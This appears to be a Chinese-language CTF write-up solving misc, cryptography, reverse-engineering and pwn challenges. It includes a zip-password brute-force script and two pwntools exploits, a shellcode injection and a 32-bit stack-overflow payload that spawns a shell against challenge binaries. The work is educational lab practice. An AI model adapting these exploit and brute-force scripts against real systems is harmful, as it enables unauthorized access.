Misc

签到题

题目提供的1.zip解压出flag.txt,txt文件里面有大量意义不明的字符,尝试性使用base64解密,得到结果如下图:

首行有PNGAdobe等字样,推测是解密后的明文是PNG文件十六进制文件。用python解密后写入到后缀名为png的文件中,查看图片内容,脚本如下:

1
2
3
4
5
6
7
#./flag.txt
import base64

file = open('1.png','w')
encodestr = base64.b64decode('这里填入flag.txt中的密文'.encode('utf-8'))
file.write(encodestr)
file.close()

flag

老烟枪

用binwalk分析图片,结果显示图片中有一个压缩包。使用命令binwalk -e cxk.png分离出压缩包,得到flag.png,用ps的水平翻转功能,得到正常flag

flag

表白

这题就是可以百度到的png隐写操作—-修改图片宽高。用winhex打开png文件,对应修改头文件中的高数值,得到flag。

flag

小明的求助

题目给出压缩包里面有一个需要密码才能解压的flag.txt文件,且题目提示密码他只知道”hlqiou”加上4位数字。尝试进行爆破。

生成密码字典:

1
2
3
4
file = open("p.txt","w")
for i in range(1000,10000):
file.write("hlqiou"+str(i)+"\n")
file.close()

爆破密码脚本(python2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding: utf-8
#./p.txt
#./xiaoming.zip

import zipfile
import threading

def zipbp(zfile, pwd):
try:
zfile.extractall(pwd=pwd)
print 'password found : %s' % pwd
except:
return
def main():
zfile = zipfile.ZipFile('xiaoming.zip')
pwdall = open('p.txt')
for pwda in pwdall.readlines():
pwd = pwda.strip('\n')
t = threading.Thread(target=zipbp, args=(zfile, pwd))
t.start()
t.join()
if __name__ == '__main__':
main()

password found : hlqiou6974

flag

flag{5oiR54ix6buE6I6J6I2D}

密码学

恺撒将军

这题就是恺撒密码加密,特殊点就是有存在]<等标点字符,一般在线解密会略过,干脆就自己写脚本,反正就是基于ASCII码做偏移:

1
2
3
4
5
strings = &quot;f_tnluz_aghggeao{t_oy_ldoia}&quot;
flag = &quot;&quot;
for i in strings:
flag += chr(ord(i)-3)
print(flag)

解密之后得到的是一个base64加密的密文:ZmxhZ3tjcnlwdG9faXNfaHhiX3NvX2VBc3kwfQ==,在解密一次得到flag。

flag

flag{crypto_is_hxb_so_eAsy0}

小明家的小菜园

这题是栅栏密码,使用CTFcrack提供的栅栏密码工具解密:

flag

第2栏:flag{yo_uget_itzha_lan_good}

战报

这题提供较长的明文&密文,尝试分析字频,得到单表替换中的对应表。

得到对应表之后,还原得到明文,获得flag

flag

flag{eantosi}

reverse

baby reverse

这道题就是考察IDA的使用,IDA打开后,搜索(atl+t&ctrl+t)flag即可。

flag

flag{reverse_is_easy}

easy reverse

IDA打开,main()里面存在一个条件函数,如果v1=v0则输出you are right!!,否则输出you are wrong!!,推测出需要满足条件才能获得flag,即使v1=v0v0被赋值为字符串kanlxvdzTljyTfyTeuorv1是以参数为v3sub_401005函数的返回值,v3为我们输入值。

sub_401005函数内部运算公式:

操作就是将每一位输入字符都与0xC异或后加1。那么写个脚本将v0每一位都减1后与0xC异或得到我们应该输入的值。

1
2
3
4
5
6
strings = &quot;kanlxvdzTljyTfyTeuor&quot;
flag = &quot;&quot;
for i in strings:
flag += chr((ord(i)-1)^0xc)

print(flag)

flag

flag{crypto_is_hxb_so_eAsy0}

霸王别姬

这题从描述到运行程序是的提示都是很明显地要脱壳。

通用脱壳软件脱壳一下,IDA打开main函数中直接就能找到flag

这个加的是压缩壳UPX,与pwnable.kr中的flag那题有些类似,可以在linux下用命令脱壳。

flag

flag{upx_so_easy_!}

电竞选手

IDA打开可以看见最后一个if条件,满足则输出Correct!\nFlag is your input,提示我们输入的让条件符合的值就是flag。条件成立的前提是sub_401350(v4) && sub_40145A()两个函数的返回值相同。sub_401350的参数v4就是输入值。

sub_401350函数如下:

选择case 后数值按r转换为字符

首先判断输入长度是否为32字节,然后取5~30位进入到循环结构,根据输入值的不同向dword_405060数组中写入不同的值,若无匹配则返回0。程序正常循环结束后会返回1

sub_40145A函数如下:

主体是一个循环体:每次v3加上数组dword_402068的第dword_405060[i]位数;v4加上数组dword_402078的第dword_405060[i]位数。然后3个if条件,如果v2\v3大于9或者小于0;byte_402000[10 * v3 + v2] == 3则返回0。只有byte_402000[10 * v3 + v2] == 43才返回1

dword_402068dword_402078两个数组值:

byte_402000数值值

根据sub_40145A()内部结构,一开始推测是用wasd控制每次循环读取byte_402000的位置,也就是避开#、控制最后读取是+,但是发现长度不对。在师兄提点下发现是用一维数组代表二维数组,从这里看出来的:

10*v3代表的是行号,还有给出提示一行有10个元素(v3+1就读取跳了10位,相当于读取下一行同一列的元素)。v2代表列号。以此将byte_402000数值的值转换为二维数组,如图所示:

出发点就是v2\v3的初始值,用wasd控制移动,最后移动到+

flag

flag{wwwwaaasssaassssdddssddddw}

Pwn

shellcode

32位只开PIE保护

直接运行:

IDA打开发现直接程序将输入的,当成命令执行了。那么直接输入shellcode就行了。

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.log_level = &#039;debug&#039;
p = process(&quot;./shellcode&quot;)
#p = remote(&quot;139.199.10.70&quot;,10003)


p.recv()
p.sendline(asm(shellcraft.sh()))

p.interactive()

simple_stackoverflow

32位保护全关

直接运行:

IDA分析,在main()里面的overflow()里面,变量buf距离栈底为0x20,而read可以从终端输入取最多0x3FF字节写入到buf中,这里就存在栈溢出

这里利用栈溢出控制指针,再次调用read函数向某地址写入shellcode之后,然后控制指针运行到shellcode。写入地址选择固定地址如bss段、data段(地址在IDA ctrl+s 查找),我就选择写入

然后问题就是怎么给溢出后调用的read传参。read函数有三个参数,32位传参看图:

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = &#039;debug&#039;

shellcode = asm(shellcraft.sh())

p = process(&quot;./simple_stackoverflow&quot;)
#p = remote(&quot;139.199.10.70&quot;,10004)

payload = &#039;a&#039; * (0x20 + 0x4) + p32(0x08048390) + p32(0x0804A040) + p32(0) + p32(0x0804A040) + p32(len(shellcode))

p.sendline(payload)
p.sendline(shellcode)

p.interactive()

覆写eip的read函数地址应该是plt表中read地址,而不是read函数地址。即填入IDA中_read地址,而不是read地址